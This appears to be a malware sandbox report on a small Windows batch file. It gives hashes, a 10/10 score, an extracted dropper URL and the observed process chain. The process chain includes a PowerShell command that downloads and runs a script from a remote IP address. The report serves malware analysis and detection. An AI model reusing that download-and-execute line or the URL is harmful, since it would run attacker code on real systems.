8e2a0ee5856819aeb0f3e6c7e4815ad8491e263e90ef0ee6de93751a2e2aa455 | Triage

Analysis

max time kernel
124s
max time network
147s
platform
windows10_x64
resource
win10v200430
submitted
10-06-2020 16:10

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General

Target

3ba797dc80d83cbfa6d1a0d86e44b07f.bat
Size

219B
MD5

a492ab56e248bcde0ed2adcade97bcbb
SHA1

bab084b7f54cee67117b058033b07cd52fe76647
SHA256

8e2a0ee5856819aeb0f3e6c7e4815ad8491e263e90ef0ee6de93751a2e2aa455
SHA512

3117a250261ea69a1d2ffd0cc04a7a7226ddc03f9d12a9bcb5eeff111677343c875341145328d4f5dd5c90de920363d47bf324c3fe119b00419f35b2ee688567

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/3ba797dc80d83cbfa6d1a0d86e44b07f

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1692 1244 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1692 WerFault.exe
Token: SeBackupPrivilege 1692 WerFault.exe
Token: SeDebugPrivilege 1692 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe
1692	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3ba797dc80d83cbfa6d1a0d86e44b07f.bat"
1⤵
PID:3908

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/3ba797dc80d83cbfa6d1a0d86e44b07f');Invoke-RVAOEIZDHXXE;Start-Sleep -s 10000"
2⤵
PID:1244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1244 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1692

Network

MITRE ATT&CK Matrix

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Downloads

memory/1692-0-0x0000000004870000-0x0000000004871000-memory.dmp

Filesize
4KB

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memory/1692-2-0x0000000005020000-0x0000000005021000-memory.dmp

Filesize
4KB

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